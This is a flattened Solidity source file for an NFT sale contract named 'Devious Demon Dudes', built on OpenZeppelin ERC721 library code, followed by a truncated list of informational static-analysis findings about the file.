* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {_tryGet}.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint160(uint256(value))));
}
/**
* @dev Tries to returns the value associated with `key`. O(1).
* Does not revert if `key` is not in the map.
*
* _Available since v3.4._
*/
function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) {
(bool success, bytes32 value) = _tryGet(map._inner, bytes32(key));
return (success, address(uint160(uint256(value))));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key)))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryGet}.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage))));
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev String operations.
*/
library Strings {
/**
* @dev Converts a `uint256` to its ASCII `string` representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
uint256 index = digits - 1;
temp = value;
while (temp != 0) {
buffer[index--] = bytes1(uint8(48 + temp % 10));
temp /= 10;
}
return string(buffer);
}
}
// File @openzeppelin/contracts/token/ERC721/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 Non-Fungible Token Standard basic implementation
* @dev see https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using SafeMath for uint256;
using Address for address;
using EnumerableSet for EnumerableSet.UintSet;
using EnumerableMap for EnumerableMap.UintToAddressMap;
using Strings for uint256;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC721Receiver(0).onERC721Received.selector`
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
// Mapping from holder address to their (enumerable) set of owned tokens
mapping (address => EnumerableSet.UintSet) private _holderTokens;
// Enumerable mapping from token ids to their owners
EnumerableMap.UintToAddressMap private _tokenOwners;
// Mapping from token ID to approved address
mapping (uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) private _operatorApprovals;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Optional mapping for token URIs
mapping (uint256 => string) private _tokenURIs;
// Base URI
string private _baseURI;
/*
* bytes4(keccak256('balanceOf(address)')) == 0x70a08231
* bytes4(keccak256('ownerOf(uint256)')) == 0x6352211e
* bytes4(keccak256('approve(address,uint256)')) == 0x095ea7b3
* bytes4(keccak256('getApproved(uint256)')) == 0x081812fc
* bytes4(keccak256('setApprovalForAll(address,bool)')) == 0xa22cb465
* bytes4(keccak256('isApprovedForAll(address,address)')) == 0xe985e9c5
* bytes4(keccak256('transferFrom(address,address,uint256)')) == 0x23b872dd
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) == 0x42842e0e
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)')) == 0xb88d4fde
*
* => 0x70a08231 ^ 0x6352211e ^ 0x095ea7b3 ^ 0x081812fc ^
* 0xa22cb465 ^ 0xe985e9c5 ^ 0x23b872dd ^ 0x42842e0e ^ 0xb88d4fde == 0x80ac58cd
*/
bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/*
* bytes4(keccak256('totalSupply()')) == 0x18160ddd
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) == 0x2f745c59
* bytes4(keccak256('tokenByIndex(uint256)')) == 0x4f6ccce7
*
* => 0x18160ddd ^ 0x2f745c59 ^ 0x4f6ccce7 == 0x780e9d63
*/
bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721);
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
_registerInterface(_INTERFACE_ID_ERC721_ENUMERABLE);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _holderTokens[owner].length();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
return _tokenOwners.get(tokenId, "ERC721: owner query for nonexistent token");
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
// If there is a baseURI but no tokenURI, concatenate the tokenID to the baseURI.
return string(abi.encodePacked(base, tokenId.toString()));
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a prefix in {tokenURI} to each token's URI, or
* to the token ID if no specific URI is set for that token ID.
*/
function baseURI() public view virtual returns (string memory) {
return _baseURI;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
return _holderTokens[owner].at(index);
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
// _tokenOwners are indexed by tokenIds, so .length() returns the number of tokenIds
return _tokenOwners.length();
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
(uint256 tokenId, ) = _tokenOwners.at(index);
return tokenId;
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || ERC721.isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(address from, address to, uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File @openzeppelin/contracts/access/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File @openzeppelin/contracts/utils/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
* Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {SafeMath}
* overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never
* directly accessed.
*/
library Counters {
using SafeMath for uint256;
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
// File contracts/Demons.sol
pragma solidity ^0.7.3;
contract Demons is Ownable, ERC165, ERC721 {
// Libraries
using Counters for Counters.Counter;
using Strings for uint256;
using SafeMath for uint256;
// Private fields
Counters.Counter private _tokenIds;
string private ipfsUri = "https://ipfs.io/ipfs/";
// Public constants
uint256 public constant MAX_SUPPLY = 6666;
// Public fields
bool public open = false;
string public folder = "";
string public provenance = "";
string public provenanceURI = "";
bool public locked = false;
modifier notLocked() {
require(!locked, "Contract has been locked");
_;
}
constructor() ERC721("Devious Demon Dudes", "DEMON") {
_setBaseURI(
"https://us-central1-demon-5183b.cloudfunctions.net/app/v1/"
);
}
fallback() external payable {
uint256 quantity = getQuantityFromValue(msg.value);
mint(quantity);
}
// Public methods
function mint(uint256 quantity) public payable {
require(open, "Drop not open yet");
require(quantity > 0, "Quantity must be at least 1");
// Limit buys
if (quantity > 66) {
quantity = 66;
}
// Limit buys that exceed MAX_SUPPLY
if (quantity.add(totalSupply()) > MAX_SUPPLY) {
quantity = MAX_SUPPLY.sub(totalSupply());
}
uint256 price = getPrice(quantity);
// Ensure enough ETH
require(msg.value >= price, "Not enough ETH sent");
for (uint256 i = 0; i < quantity; i++) {
_mintInternal(msg.sender);
}
// Return any remaining ether after the buy
uint256 remaining = msg.value.sub(price);
if (remaining > 0) {
(bool success, ) = msg.sender.call{value: remaining}("");
require(success);
}
}
function getQuantityFromValue(uint256 value) public view returns (uint256) {
return value.div(0.0666 ether);
}
function getPrice(uint256 quantity) public view returns (uint256) {
require(quantity <= MAX_SUPPLY);
return quantity.mul(0.0666 ether);
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
tokenId > 0 && tokenId <= totalSupply(),
"URI query for nonexistent token"
);
// Construct IPFS URI or fallback
if (bytes(folder).length > 0) {
return
string(
abi.encodePacked(ipfsUri, folder, "/", tokenId.toString())
);
}
// Fallback to centralised URI
return string(abi.encodePacked(baseURI(), tokenId.toString()));
}
// Admin methods
function ownerMint(uint256 quantity) public onlyOwner {
require(!open, "Owner cannot mint after sale opens");
for (uint256 i = 0; i < quantity; i++) {
_mintInternal(msg.sender);
}
}
function openSale() external onlyOwner {
open = true;
}
function setBaseURI(string memory newBaseURI) external onlyOwner notLocked {
_setBaseURI(newBaseURI);
}
function setIpfsURI(string memory _ipfsUri) external onlyOwner notLocked {
ipfsUri = _ipfsUri;
}
function setFolder(string memory _folder) external onlyOwner notLocked {
folder = _folder;
}
function setProvenanceURI(string memory _provenanceURI)
external
onlyOwner
notLocked
{
provenanceURI = _provenanceURI;
}
function setProvenance(string memory _provenance)
external
onlyOwner
notLocked
{
provenance = _provenance;
}
function lock() external onlyOwner {
locked = true;
}
function withdraw() public {
uint256 bal = address(this).balance;
uint256 twentyfive = bal.mul(25).div(100);
payable(address(0xEC36697c3C8C8E385b37e17Df40dBCbE2dbd9ffC)).call{
value: twentyfive
}("");
uint256 nine = bal.mul(9).div(100);
payable(address(0xa38beF7Bf987ebb22D0D4eCAe61034DDc34Da283)).call{
value: nine
}("");
uint256 eight1 = bal.mul(8).div(100);
payable(address(0xc32A0F03E5dCe30Ce058f45CE34125Fe35a75f4E)).call{
value: eight1
}("");
uint256 eight2 = bal.mul(8).div(100);
payable(address(0x6609DFA1cb75d74f4fF39c8a5057bD111FBA5B22)).call{
value: eight2
}("");
uint256 five = bal.mul(5).div(100);
payable(address(0xacD95553B128b738012542FF9be4e4600761765e)).call{
value: five
}("");
uint256 two1 = bal.mul(2).div(100);
payable(address(0xfAa45d2fC42bA85706d09aAaa34AF8ac172ea18B)).call{
value: two1
}("");
uint256 two2 = bal.mul(2).div(100);
payable(address(0x95270f71252AF1F92E54c777237091F9382Ca5D8)).call{
value: two2
}("");
uint256 pointsixtyeight = bal.mul(68).div(10000);
payable(address(0x488CB7D6F7596ACcf0544913Aa9e0d0f38F315F4)).call{
value: pointsixtyeight
}("");
uint256 pointzerofiveseven = bal.mul(57).div(100000);
payable(address(0x846Fc2E54474805BB8bf06A39830fBBb1811C17D)).call{
value: pointzerofiveseven
}("");
uint256 twentypointtwosixthree = bal.mul(20263).div(100000);
payable(address(0x9361931dceaCb2795B8fA0481CeCf86055505dCE)).call{
value: twentypointtwosixthree
}("");
uint256 ten = bal.mul(10).div(100);
payable(address(0x3761F439D9416750360D9EEE241786BCEB1e0865)).call{
value: ten
}("");
uint256 remaining = address(this).balance;
payable(address(0x789e3C17c932b9d8908189aEFc76c52C114e6e45)).call{
value: remaining
}("");
}
function emergencyWithdraw() external onlyOwner {
(bool success, ) =
payable(owner()).call{value: address(this).balance}("");
require(success);
}
function reserveTokens() public onlyOwner {
for (uint256 i = 0; i < 66; i++) {
_mintInternal(msg.sender);
}
}
// Private Methods
function _mintInternal(address owner) private {
_tokenIds.increment();
uint256 newItemId = _tokenIds.current();
_mint(owner, newItemId);
}
} | [] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [575]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [722, 723, 724, 725]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"Demons.sol": [1932]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [385, 386, 387, 388]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [905, 906, 907]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [920, 921, 919]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [595, 596, 597, 598, 599, 600, 601]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [648, 646, 647]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1184, 1185, 1186, 1187, 1188]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [898, 899, 900]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [395, 396, 397, 398]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [705, 706, 707, 708, 709, 710, 711]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [496, 497, 498, 495]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1275, 1276, 1277, 1278]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1115, 1116, 1117, 1118, 1119, 1120, 1121, 1122, 1123, 1124, 1125, 1126, 1127, 1128, 1129, 1130, 1131, 1132, 1133, 1134, 1135, 1136, 1137, 1138, 1139, 1140, 1141, 1142, 1143, 1144, 1145, 1146, 1147]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [696, 697, 695]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1008, 1009, 1007]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [945, 946, 947]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1752, 1749, 1750, 1751]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [352, 353, 349, 350, 351]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [536, 537, 538, 535]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [973, 974, 975]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [952, 953, 954]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [515, 516, 517, 518]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [960, 961, 959]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [881, 882, 883]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1924, 1925, 1926]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1237, 1238, 1239]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [106, 107, 108, 109]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [672, 673, 671]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [480, 477, 478, 479]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1656, 1657, 1654, 1655]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [370, 371, 372, 373, 374, 375, 376, 377, 378]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [360, 361, 362, 363]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1288, 1289, 1287]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [936, 937, 935]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1648, 1646, 1647]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [681, 682, 683, 684, 685, 686, 687]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [1197, 1198, 1199, 1200, 1201]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [891, 892, 893]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"Demons.sol": [621, 622, 623]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [64, 65, 66]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1466, 1467, 1468]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1872, 1873, 1874, 1875]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [2158, 2159, 2160, 2161, 2162]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [2088, 2089, 2090, 2091, 2092, 2093, 2094, 2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124, 2125, 2126, 2127, 2128, 2129, 2130, 2131, 2132, 2133, 2134, 2135, 2136, 2137, 2138, 2139, 2140, 2141, 2142, 2143, 2144, 2145, 2146, 2147, 2148, 2149, 2150]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [1576, 1577, 1578]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Demons.sol": [2048, 2049, 2050, 2044, 2045, 